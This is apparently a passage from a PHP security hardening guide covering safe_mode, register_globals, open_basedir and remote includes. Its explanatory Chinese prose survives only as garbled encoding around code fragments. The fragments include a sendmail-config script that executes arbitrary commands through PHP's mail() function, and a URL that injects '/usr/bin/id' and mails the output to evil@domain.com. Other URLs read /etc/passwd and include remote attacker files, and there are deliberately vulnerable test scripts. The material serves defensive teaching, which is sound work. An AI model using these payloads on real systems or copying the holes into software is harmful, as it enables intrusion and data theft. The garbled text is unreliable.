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[mail function]
; For Win32 only.
SMTP = localhost

; For Win32 only.
sendmail_from = me@localhost.com

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http://packetstormsecurity.org/0204-exploits/7350fun
http://hsj.shadowpenguin.org/misc/php3018_exp.txt

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<? mail("foo@bar,"foo","bar","",$bar); ?>

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http://foo.com/evil.php?bar=;/usr/bin/id|mail evil@domain.com

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<?

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$script="/tmp/script123";
$cf="/tmp/cf123";

$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);

$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);

mail("nobody", "", "", "", "-C$cf");
?>

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grep PHPINI /PHP_SRC/main/main.c

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safe_mode = On

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<Directory /var/www>
Options FollowSymLinks
php_admin_value safe_mode 1

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<?include("index.html")?>

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ls -la

total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html
-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php

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safe_mode_gid = On

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safe_mode_exec_dir = /usr/local/php/exec

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safe_mode_include_dir string
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safe_mode_allowed_envvars string
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safe_mode_protected_env_vars string
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PHPĬÈÏregister_globals = On£¬¶ÔÓÚGET, POST, Cookie, Environment, SessionµÄ±aÁKÉÒÔÖ±½Ó×¢²a³ÉÈ«¾Ö±aÁ¿¡£ËuÃǵÄ×¢²a˳ÐoÊÇvariables_order = "EGPCS"£¨¿ÉÒÔͨ¹ýphp.iniÐ޸ģ(C)£¬Í¬Ãu±aÁ¿variables_orderÓұߵĸ²¸Ç×o±ß£¬ËuÒÔ±aÁ¿µÄÀÄÓü«Ò×Ôi³É³ÌÐoµÄ»iÂÒ¡£¶øÇҽű¾³ÌÐoÔ±ÍuÍuûÓжԱaÁ¿³oʼ»¯µÄÏ°¹ß£¬ÏñÈçϵijÌÐoƬ¶Ï¾Í¼«Ò×Êܵ½¹¥»÷£º

<?
//test_1.php

if ($pass == "hello")
$auth = 1;

if ($auth == 1)
echo "some important information";
else
echo "nothing";
?>

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http://victim/test_1.php?auth=1

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PHP-4.1.0¢²¼µÄʱºo½¨Òe¹Ø±Õregister_globals£¬²¢Ìa¹(C)ÁË7¸oÌØÊaµÄÊý×e±aÁ¿À´Ê¹Óø÷ÖÖ±aÁ¿¡£¶ÔÓÚ´ÓGET¡¢POST¡¢COOKIEµÈÀ´µÄ±aÁ¿²¢²»»aÖ±½Ó×¢²a³É±aÁ¿£¬±ØÐeͨ¹ýÊý×e±aÁ¿À´´aeÈ¡¡£PHP-4.2.0¢²¼µÄʱºo£¬php.iniĬÈÏÅaÖþÍÊÇregister_globals = Off¡£ÕaʹµÃ³ÌÐoʹÓÃPHP×ÔÉi³oʼ»¯µÄĬÈÏÖµ£¬Ò»°aΪ0£¬±ÜÃaÁ˹¥»÷Õß¿ØÖÆÅжϱaÁ¿¡£

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<?
//test_2.php

if (!($str = readfile("$filename"))) {
echo("Could not open file: $filename
\n");
exit;
}
else {
echo $str;
}
?>

ÓÉÓÚ¹¥»÷Õß¿ÉÒÔÖ¸¶¨ÈÎÒaµÄ$filename£¬¹¥»÷ÕßÓÃÈçϵÄÇeÇo¾Í¿ÉÒÔ¿´µ½/etc/passwd£º

http://victim/test_2.php?filename=/etc/passwd

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http://victim/test_2.php?filename=test_2.php

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<Directory /usr/local/apache/htdocs>
php_admin_value open_basedir /usr/local/apache/htdocs

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Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.

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<?
//test_3.php

if(file_exists($filename))
include("$filename");
?>

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http://victim/test_3.php?filename=/etc/passwd

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http://victim/test_3.php?filename=http://attack/attack.txt

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<?
//test_4.php

include("$lib/config.php");
?>

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http://victim/test_4.php?lib=http://attack

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allow_url_fopen = Off

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<?
//test_5.php

if(isset($upload) && $file != "none") {
copy($file, "/usr/local/apache/htdocs/upload/".$file_name);
echo "Îļþ".$file_name."ÉÏ´«³É¹¦£¡µa»÷<a href=\"$PHP_SELF\">¼ÌÐøÉÏ´«";
exit;
}
?>

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//test_6.php

system("traceroute $a_query",$ret_strs);
?>

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log_errors = On
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